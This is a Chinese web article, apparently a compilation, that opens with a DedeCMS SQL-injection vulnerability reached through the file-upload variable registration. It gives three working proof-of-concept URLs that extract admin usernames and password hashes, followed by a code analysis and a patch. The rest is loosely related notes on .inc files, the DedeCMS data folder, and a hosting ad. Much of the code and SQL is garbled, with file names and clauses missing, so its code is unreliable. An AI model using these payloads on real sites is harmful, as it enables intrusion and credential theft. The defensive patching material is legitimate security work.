织梦.inc文件是什么,包含文件必须使用文件后缀inc
内容导航:
一、织梦dedecms上传漏洞uploadsafeincphp 整理
自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知,前段时间部署的项目检测出上传漏洞
根据网上大神们的博客整理了下,下面这个是可行的
dedecms上传漏洞,这里整理了大神们对于这个漏洞的解释
1. 漏洞描述
1. dedecms原生提供一个本地变量注册的模拟实现,原则上允许黑客覆盖任意变量2. dedecms在实现本地变量注册的时候,会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理//$key值注入不在本文讨论范围内,详情参阅:.html3. 在处理文件上传的逻辑中,存在一条攻击路径,程序自己反处理了addslash逻辑,使用于闭合的单引号重新获得攻击效果,造成SQL注入
Relevant Link:
/archives/1346
2. 漏洞触发条件
0x1: POC1
plus/?action=&aid;=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294?action=&aid;=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
0x2: POC2
http://DEDD/plus/?action=&aid;=1&_FILES[type][tmp_name]=' or mid=@`'` /*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873
0x3: POC3
http://DEDE/plus/?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa'and+char(@`'`)+/*!Union*/+/*!SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
0x4: POC入侵方式
1. 原始数据%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+提交进来后, 和 ’ 分别被转义成 和 ’' or mid=@`'`/*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`被带入include/中检查,此步数据未发生变化4.然后来到了include/中,经过第行str_replace后,被过滤成了,用于攻击闭合的单引号重新获得攻击能力$$_key = $_FILES[$_key]['tmp_name'] =str_replace(\, , $_FILES[$_key]['tmp_name']);' or mid=@`'`/*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`此时引号被成功的带入了查询语句中5.回到plus/中,第38行,此时SQL语句被拼成如下:SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON = WHERE ='1' ='' or mid=@`'` /*!union*//*!select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`'` '
Relevant Link:
.html/archives/1346/blog/view/id/17
3. 漏洞影响范围
4. 漏洞代码分析
从/plus/开始逐步分析
require_once(dirname(__FILE__)./../include/);..
/include/
..function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}..
只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/
..//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数if($_FILES){ require_once(DEDEINC.'/');}..
/include/
..//URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖$$_key = $_FILES[$_key]['tmp_name'] = str_replace(\,,$_FILES[$_key]['tmp_name']);${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z./]','',$_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);..
/plus/
//读取文档信息if($action==''){ if($type=='sys'){ //读取文档信息 $arcRow = GetOneArchive($aid); if($arcRow['aid']=='') { ShowMsg(无法把未知文档推荐给好友!,-1); exit(); } extract($arcRow, EXTR_OVERWRITE); } else { //注入语句被带入数据库查询, $arcRow=$dsql->GetOne(SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON = WHERE ='$aid' AND ='$type'); if(!is_array($arcRow)){ ShowMsg(无法把未知文档推荐给好友!,-1); exit(); } $arcRow['arcurl']=$arcRow['indexurl'].=.$arcRow['aid']; extract($arcRow, EXTR_OVERWRITE); }}
5. 防御方法
/include/
/* *///$$_key = $_FILES[$_key]['tmp_name'] = str_replace(\,,$_FILES[$_key]['tmp_name']);$$_key = $_FILES[$_key]['tmp_name'];/* */${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);if(!empty(${$_key.'_name'}) && (preg_match(#.(.$cfg_not_allowall.)$#i,${$_key.'_name'}) || !preg_match(#.#, ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}if(empty(${$_key.'_size'})){ ${$_key.'_size'} = @filesize($$_key);}/* 限制上传文件类型 */$imtypes = array(image/pjpeg, image/jpeg, image/gif, image/png, image/xpng, image/wbmp, image/bmp);if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}/* */
文件/include/。
有2个地方:
1、搜索 ${$_key.’_size’} = @filesize($$_key); }(大概在42,43行左右)
替换成
${$_key.’_size’} = @filesize($$_key);
} $imtypes = array(image/pjpeg, image/jpeg, image/gif, image/png, image/xpng,
image/wbmp, image/bmp); if(in_array(strtolower(trim(${$_key.’_type’})),
$imtypes)) { $image_dd = @getimagesize($$_key); if($image_dd == false){
continue; } if (!is_array($image_dd)) { exit(‘Upload filetype not allow !’); }
}
2、搜索 $image_dd = @getimagesize($$_key);(大概在53行左右)
替换成
$image_dd = @getimagesize($$_key); if($image_dd == false){ continue; }
老规矩大红色地方标记了修改的地方,然后保存,接着备份原文件,比如文件名变为。然后上传修改好的文件即可。
二、inc文件是什么文件
关于inc文件——————————————————【what’s inc
file】.inc 文件顾名思义是include
file的意思。实际上,文件的后缀对于文件包含是无所谓你可以包含一个asp文件,也可以包含txt文。一般我们使用inc作为后缀,是因为这样能体现该文件的作用。【why
inc file】.inc文件的作用有点类似于C/C++内的.H .HPP头文件,使用inc文件可以使我们的程序,增加可读性,更易于开发和维护。【how
to inc file】使用SSI(Server Side
Include)指令中的#Includeasp包含文件的写法是这样的:在html中,写:file和Virtual的区别在于file使用相对路径而Virtual是你的web站点内虚拟目录的完整虚拟路径比方:就表示包含当前文件所在的虚拟目录路径下面的inc目录下的写成
virtual就可能就需要这么写了
三、织梦 有什么用
1:/data/ 数据库连接文件。
2:/include/ 系统核心文件。
建议你用模板建站系统做网站,完全可以自己动手制作网站。
有100多套网站模板可以选择,操作上和word差不多,管理和维护很方便,有学习视频,一般看半天就会做了。
速成网站-国际版(5g网页空间,不限流量,不需要备案,可做展示类、交易类网站,可免费试用):160元/年。
可以找咱们,现在在线。
四、织梦中data文件夹是存放什么内容的
dede(织梦)的data文件夹下的文件及文件夹也不少,我们来一个一个的介绍下。
1. admin文件夹
admin文件夹 管理员用到的文件夹,一般是后台的配置文件。
第一个文件, 配置的主机信息,一般用不到,不用管理。
第二个文件, 和, 都是快捷菜单。
打开这两个文件不难发现,-1的文件多了”栏目管理”和”修改参数”,这两个是需要权限的,
所以这个是高级管理员的快捷菜单,是 信息发布员的快捷菜单,这个自己测试。
这个文件的信息在后台加载时出现在中间的”快捷操作”和右上角出现。
我们修改这个是管理员的,权限比较多,所设置这个有用。
我们模仿一个需要修改link 和title后台就出现了一个快捷链接,一键更新网站,就出来了,看上面的图,具体的自己发挥吧
第四个文件,和资源和作者,就是后台编辑文章的
文章来源, 作者,点击选择的时候,出现的就是文档的信息,我们可以编辑这两个文件,也可以后台编辑,
不过,我们编辑过后的文档,以后可以直接初始化,做一套属于我们的织梦程序。
第六个文件, 和 文件是系统文件时间,系统版本时间。
2. backupdata文件夹
备份数据库的文件夹,比较重要,还原网站的时候,要么有 mysql的 myd等数据库文件,要么就是这些txt文档了。
3. cache文件夹
cache 缓存文件夹,没有可编辑行,inc_remote_ 是配置后台的系统—>服务器分布/远程。
4. enums文件夹
枚举文件夹,好多数组都是,都是通过这个文件夹来完成的,例如:后台的“联动类别“里面的文件都是枚举值。
5. mark文件夹
水印文件夹,和为水印图片,可以修改为自己想要的。
inc_photowatermark_ 水印配置文件,后台设置的都会写入到此文件内。
其他文件夹基本都是系统文件,没有多大修改的必要,我们来看文件。
1. 文件 链接数据库的配置文件。
$cfg_dbhost = ‘localhost’;//数据库地址
$cfg_dbname = ‘dedecmsv56gbk’;//数据库名称
$cfg_dbuser = ‘root’;//数据库用户名
$cfg_dbpwd = ”;//数据库密码
$cfg_dbprefix = ‘bushen_’;//数据库表前缀
$cfg_db_language = ‘gbk’;//数据库编码
2. 文件
网站系统的配置信息缓存文件。
3. 文件 和文件
网站系统的配置信息文件 和 网站系统关联文件信息
4. 文件 安全问题信息
5. 文件 文章随机模版配置信息
6. mysql_error_***.inc文件 程序调用mysql出现的错误信息。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 55@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/128565.html